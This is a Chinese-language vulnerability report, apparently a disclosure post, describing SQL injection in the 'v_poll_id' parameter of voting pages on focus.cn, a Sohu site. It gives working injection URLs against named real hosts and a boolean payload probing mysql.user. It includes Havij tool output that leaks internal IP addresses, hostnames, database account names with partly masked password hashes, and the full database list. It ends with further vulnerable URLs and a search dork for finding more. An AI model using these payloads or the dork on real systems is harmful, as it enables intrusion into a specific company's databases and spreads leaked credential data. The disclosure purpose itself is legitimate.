搜狐旗下某站通用型sql注入下载

搜狐旗下某站通用型sql注入

不同的页面程序，都拥有同一个参数，而这个参数却存在注入点，导致不论重要域名还是子域名都存在sql注入的问题
有点累了，都劝我休息一会
都问我用什么辅助设备找到的？我靠的都是双手，一样可以射的很好

问题程序主要集中在“投票”页面，注入参数：v_poll_id=

无论重要域名home、house、office等等，还是地区子站，都存在问题

例如：在v_poll_id=4679'后面加个单引号访问,页面报mysqlerror，最下面地址情况是一样的

http://home.focus.cn/group/vote.php?v_poll_id=4679'&group_id=607

然后访问下面的链接，回显数据正常，无报错，说明mysql.user存在

http://home.focus.cn/group/vote.php?v_poll_id=4679' and exists(select * from mysql.user) and '%'='%&group_id=607

 

但是只能手动穷举暴库，扔到工具里没啥反应，反应异常，但肯定是注入点

http://office.focus.cn/group/result.php?v_poll_id=7&group_id=750 用这个尝试吧，扔到havij，office这个读库是成功的，但是也挺慢

Target: http://office.focus.cn/group/result.php?v_poll_id=7&group_id=750

DB Server: MySQL >=5

Resp. Time(avg): 152 ms

Current User: fdbuser@192.168.242.102

Sql Version: 5.1.54-log

Current DB: office

System User: fdbuser@192.168.242.102

Host Name: focus-gvm-160-34-tc

System User: fdbuser@10.10.90.54

Compile OS: unknown-linux-gnu

DB User & Pass: root::localhost

root::focus-gvm-160-34-tc

root::127.0.0.1

Installation dir: /usr/local/mysql-5.1.54-linux-x86_64-glibc23/

root:6a3*******35:192.168.242.%

repadm:*8C3E*********E648DDA3:192.168.%

Sql Version: 5.1.54-log

repadm:*8C3ED*********48DDA3:10.%

mysqlmon:*565E9*********B6C0A37F:10.11.160.34

mysqlmon:*565E9********8B6C0A37F:10.11.160.27

repladmin:3bbf*******bb5fe:192.168.242.%

readonly:5d*******6e19d:%

root:6a3*******35:10.10.90.%

repladmin:3bb********b5fe:10.10.90.%

repadm:*8C3E*******E69B712E648DDA3:10.%.%.%

root:6a3bb*****d35:10.11.24.%

fdbuser:54bc******962c10e:10.11.24.%

fdbuser:54bc******c10e:10.10.90.%

fdbuser:54********62c10e:10.10.127.%

fdbuser:54********2c10e:192.168.242.%

fdbuser:54b********0e:localhost

root:6a**********5d35:10.11.160.%

fdbuser:54********2c10e:10.11.160.%

pingmysql:*565E94**********A37F:10.11.36.20

pingmysql:*565E94D8*********36DE148B6C0A37F:192.168.1.178

pingmysql:*565E94**********8B6C0A37F:192.168.1.139

pingmysql:*565E94D80*********148B6C0A37F:10.10.58.195

pingmysql:*565E94D8*********148B6C0A37F:192.168.1.128

pingmysql:*565E94D805********48B6C0A37F:10.11.36.22

Data Bases: information_schema

cdoffice

chanye

cirea

cyxoffice

gzoffice

mysql

mysql_identity

office

office_forum

office_sort

otheroffice_bak

overseashouse

shoffice

shoffice_rent

shop

shop_forum

shop_sort

shopbak

shrentsale_822

shrentsale_913

szoffice

szoffice_rent

szrentsale_822

szrentsale_913

test

tjoffice

下面这个也都是注入点，需要通查“投票”程序v_poll_id参数的处理

http://office.focus.cn/group/vote.php?v_poll_id=7&group_id=750

http://home.focus.cn/group/vote.php?v_poll_id=4679&group_id=607

http://house.focus.cn/group/switch.php?v_poll_id=15386&group_id=3574&m=0&submit=%B2%E9%BF%B4%BD%E1%B9%FB

地区子域名

http://cq.focus.cn/group/result.php?v_poll_id=36&group_id=40000

http://sx.focus.cn/common/group/poll/result.php?v_poll_id=98&group_id=530004

http://bb.focus.cn/common/group/poll/result.php?v_poll_id=4&group_id=2000367

......

数不胜收

搜索引擎，一搜一大堆吖

site:focus.cn inurl:v_poll_id=